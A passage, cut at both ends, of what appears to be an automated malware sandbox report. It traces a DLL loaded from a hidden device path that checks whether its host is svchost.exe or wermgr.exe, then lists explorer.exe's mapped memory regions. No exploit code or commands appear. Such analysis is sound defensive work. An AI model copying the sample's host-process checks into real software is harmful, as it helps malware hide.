pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0088.143] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\userinit.exe") returned 0x20 [0088.143] PathFindFileNameA (pszPath="C:\\Windows\\system32\\userinit.exe") returned="userinit.exe" [0088.143] GetCommandLineA () returned="C:\\Windows\\system32\\userinit.exe" [0088.143] _strcmpi (_Str1="userinit.exe", _Str2="svchost.exe") returned 2 [0088.143] StrStrIA (lpFirst="userinit.exe", lpSrch="wermgr.exe") returned 0x0 [0088.153] HeapDestroy (hHeap=0x2060000) returned 1 [0088.157] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.161] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.805] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 434 os_tid = 0x6fc Thread: id = 436 os_tid = 0x704 Process: id = "24" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0xc1c4000" os_pid = "0x140" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x3bc" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" Region: id = 2012 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2013 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2014 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2015 start_va = 0xb0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2016 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2017 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2018 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2019 start_va = 0xffec0000 end_va = 0x10017ffff entry_point = 0xffeeb790 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" Region: id = 2020 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2021 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2022 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2023 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2024 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2025 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2026 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2027 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2028 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2029 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2030 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2031 start_va = 0x80000 end_va = 0x86fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2032 start_va = 0x90000 end_va = 0x91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2033 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2034 start_va = 0x130000 end_va = 0x196fff entry_point = 0x130000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2035 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2036 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2037 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2038 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2039 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2040 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2041 start_va = 0x7f0000 end_va = 0x1beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2042 start_va = 0x1bf0000 end_va = 0x1fe2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bf0000" filename = "" Region: id = 2043 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2044 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2045 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2046 start_va = 0x7fefb3b0000 end_va = 0x7fefb579fff entry_point = 0x7fefb3b7a60 region_type = mapped_file name = "ExplorerFrame.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" Region: id = 2047 start_va = 0x7fefb740000 end_va = 0x7fefb74afff entry_point = 0x7fefb744f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" Region: id = 2048 start_va = 0x7fefc090000 end_va = 0x7fefc0a7fff entry_point = 0x7fefc091130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" Region: id = 2049 start_va = 0x7fefc150000 end_va = 0x7fefc192fff entry_point = 0x7fefc15c168 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" Region: id = 2050 start_va = 0x7fefc1a0000 end_va = 0x7fefc291fff entry_point = 0x7fefc1cac20 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" Region: id = 2051 start_va = 0x7fefc2a0000 end_va = 0x7fefc4b4fff entry_point = 0x7fefc4764b0 region_type = mapped_file name = "GdiPlus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" Region: id = 2052 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Region: id = 2053 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Region: id = 2054 start_va = 0x7fefcb90000 end_va = 0x7fefcbbbfff entry_point = 0x7fefcb915c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" Region: id = 2055 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 2056 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 2057 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 2058 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 2059 start_va = 0x7fefdf70000 end_va = 0x7fefecf7fff entry_point = 0x7fefdfecebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" Region: id = 2060 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2061 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2062 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 2063 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2064 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 2065 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2066 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 2067 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2068 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 2069 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2070 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 2071 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2072 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 2073 start_va = 0x2190000 end_va = 0x220ffff entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 2074 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2075 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2076 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 2077 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2078 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2079 start_va = 0x2030000 end_va = 0x20affff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 2080 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2081 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2082 start_va = 0x2500000 end_va = 0x27cefff entry_point = 0x2500000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 2083 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2084 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2085 start_va = 0x200000 end_va = 0x201fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 2086 start_va = 0x2110000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 2087 start_va = 0x2210000 end_va = 0x22eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002210000" filename = "" Region: id = 2088 start_va = 0x7fefc6a0000 end_va = 0x7fefc893fff entry_point = 0x7fefc82c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" Region: id = 2089 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 2090 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 2091 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2092 start_va = 0x220000 end_va = 0x231fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2093 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2094 start_va = 0x260000 end_va = 0x271fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2095 start_va = 0x22f0000 end_va = 0x23effff entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 2096 start_va = 0x23f0000 end_va = 0x24a7fff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 2097 start_va = 0x27d0000 end_va = 0x2949fff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 2098 start_va = 0x7fefb350000 end_va = 0x7fefb3a6fff entry_point = 0x7fefb351118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" Region: id = 2099 start_va = 0x7fefbf20000 end_va = 0x7fefc049fff entry_point = 0x7fefbf23810 region_type = mapped_file name = "WindowsCodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" Region: id = 2100 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 2101 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2102 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2103 start_va = 0x7fefb310000 end_va = 0x7fefb344fff entry_point = 0x7fefb31c59c region_type = mapped_file name = "EhStorShell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" Region: id = 2104 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 2105 start_va = 0x7fefb280000 end_va = 0x7fefb28bfff entry_point = 0x7fefb281070 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" Region: id = 2106 start_va = 0x7fefb290000 end_va = 0x7fefb30dfff entry_point = 0x7fefb291304 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" Region: id = 2107 start_va = 0x280000 end_va = 0x281fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2108 start_va = 0x7fefb270000 end_va = 0x7fefb27efff entry_point = 0x7fefb271040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" Region: id = 2109 start_va = 0x7fefb1f0000 end_va = 0x7fefb26ffff entry_point = 0x7fefb1f4a8c region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" Region: id = 2110 start_va = 0x7fefd960000 end_va = 0x7fefd982fff entry_point = 0x7fefd961198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" Region: id = 2111 start_va = 0x29f0000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 2112 start_va = 0x74610000 end_va = 0x75965fff entry_point = 0x74610000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" Region: id = 2113 start_va = 0x7fefb1e0000 end_va = 0x7fefb1e7fff entry_point = 0x7fefb1e1030 region_type = mapped_file name = "IconCodecService.dll" filename = "\\Windows\\System32\\IconCodecService.dll" Region: id = 2114 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2115 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2116 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2117 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 2118 start_va = 0x2c0000 end_va = 0x2c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 2119 start_va = 0x2960000 end_va = 0x29dffff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 2120 start_va = 0x2a70000 end_va = 0x2b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 2121 start_va = 0x2b70000 end_va = 0x2c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 2122 start_va = 0x2c70000 end_va = 0x2e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 2123 start_va = 0x2e70000 end_va = 0x31b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002e70000" filename = "" Region: id = 2124 start_va = 0x3200000 end_va = 0x327ffff entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 2125 start_va = 0x32c0000 end_va = 0x333ffff entry_point = 0x0 region_type = private name = "private_0x00000000032c0000" filename = "" Region: id = 2126 start_va = 0x33a0000 end_va = 0x341ffff entry_point = 0x0 region_type = private name = "private_0x00000000033a0000" filename = "" Region: id = 2127 start_va = 0x3440000 end_va = 0x34bffff entry_point = 0x0 region_type = private name = "private_0x0000000003440000" filename = "" Region: id = 2128 start_va = 0x7fefb150000 end_va = 0x7fefb1d2fff entry_point = 0x7fefb17692c region_type = mapped_file name = "timedate.cpl" filename = "\\Windows\\System32\\timedate.cpl" Region: id = 2129 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f8fff entry_point = 0x7fefb8e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" Region: id = 2130 start_va = 0x7fefc0b0000 end_va = 0x7fefc0fafff entry_point = 0x7fefc0befcc region_type = mapped_file name = "MMDevAPI.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" Region: id = 2131 start_va = 0x7fefc100000 end_va = 0x7fefc10afff entry_point = 0x7fefc101020 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" Region: id = 2132 start_va = 0x7fefc110000 end_va = 0x7fefc14afff entry_point = 0x7fefc11f410 region_type = mapped_file name = "SndVolSSO.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" Region: id = 2133 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 2134 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 2135 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 2136 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2137 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2138 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2139 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2140 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2381 start_va = 0x1ff0000 end_va = 0x1ff2fff entry_point = 0x1ff0000 region_type = mapped_file name = "comctl32.dll.mui" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui" Region: id = 2382 start_va = 0x2000000 end_va = 0x2000fff entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 2383 start_va = 0x2010000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 2384 start_va = 0x2020000 end_va = 0x2020fff entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 2385 start_va = 0x20b0000 end_va = 0x20b8fff entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 2386 start_va = 0x2310000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 2387 start_va = 0x34c0000 end_va = 0x3deffff entry_point = 0x34c0000 region_type = mapped_file name = "StaticCache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" Region: id = 2388 start_va = 0x7fefaaa0000 end_va = 0x7fefab8dfff entry_point = 0x7fefaaa12a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" Region: id = 2389 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" Region: id = 2390 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 2391 start_va = 0x20c0000 end_va = 0x20c7fff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 2392 start_va = 0x20d0000 end_va = 0x20e5fff entry_point = 0x20d0000 region_type = mapped_file name = "{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000009.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000009.db" Region: id = 2393 start_va = 0x20f0000 end_va = 0x20f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020f0000" filename = "" Region: id = 2394 start_va = 0x3e30000 end_va = 0x3eaffff entry_point = 0x0 region_type = private name = "private_0x0000000003e30000" filename = "" Region: id = 2395 start_va = 0x3ed0000 end_va = 0x3f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 2396 start_va = 0x7fefaa60000 end_va = 0x7fefaa93fff entry_point = 0x7fefaa61890 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" Region: id = 2397 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2398 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2399 start_va = 0x7fefaa50000 end_va = 0x7fefaa5bfff entry_point = 0x7fefaa51380 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" Region: id = 2400 start_va = 0x2100000 end_va = 0x2103fff entry_point = 0x2100000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" Region: id = 2401 start_va = 0x22f0000 end_va = 0x22f3fff entry_point = 0x22f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" Region: id = 2402 start_va = 0x2300000 end_va = 0x2301fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002300000" filename = "" Region: id = 2403 start_va = 0x2390000 end_va = 0x23bffff entry_point = 0x2390000 region_type = mapped_file name = "{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" Region: id = 2404 start_va = 0x3f50000 end_va = 0x3fb5fff entry_point = 0x3f50000 region_type = mapped_file name = "{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" Region: id = 2405 start_va = 0x7fefa720000 end_va = 0x7fefa79bfff entry_point = 0x7fefa7211d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" Region: id = 2406 start_va = 0x7fefa7a0000 end_va = 0x7fefaa42fff entry_point = 0x7fefa7a3498 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" Region: id = 2407 start_va = 0x7fefc050000 end_va = 0x7fefc084fff entry_point = 0x7fefc051064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" Region: id = 2408 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 2409 start_va = 0x23e0000 end_va = 0x23e3fff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 2410 start_va = 0x24b0000 end_va = 0x24b3fff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 2411 start_va = 0x3df0000 end_va = 0x3e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003df0000" filename = "" Region: id = 2412 start_va = 0x7fefbd70000 end_va = 0x7fefbd83fff entry_point = 0x7fefbd716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" Region: id = 2413 start_va = 0x7fefc650000 end_va = 0x7fefc66cfff entry_point = 0x7fefc651ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" Region: id = 2414 start_va = 0x7fefc670000 end_va = 0x7fefc693fff entry_point = 0x7fefc671024 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" Region: id = 2415 start_va = 0x23d0000 end_va = 0x23d0fff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2416 start_va 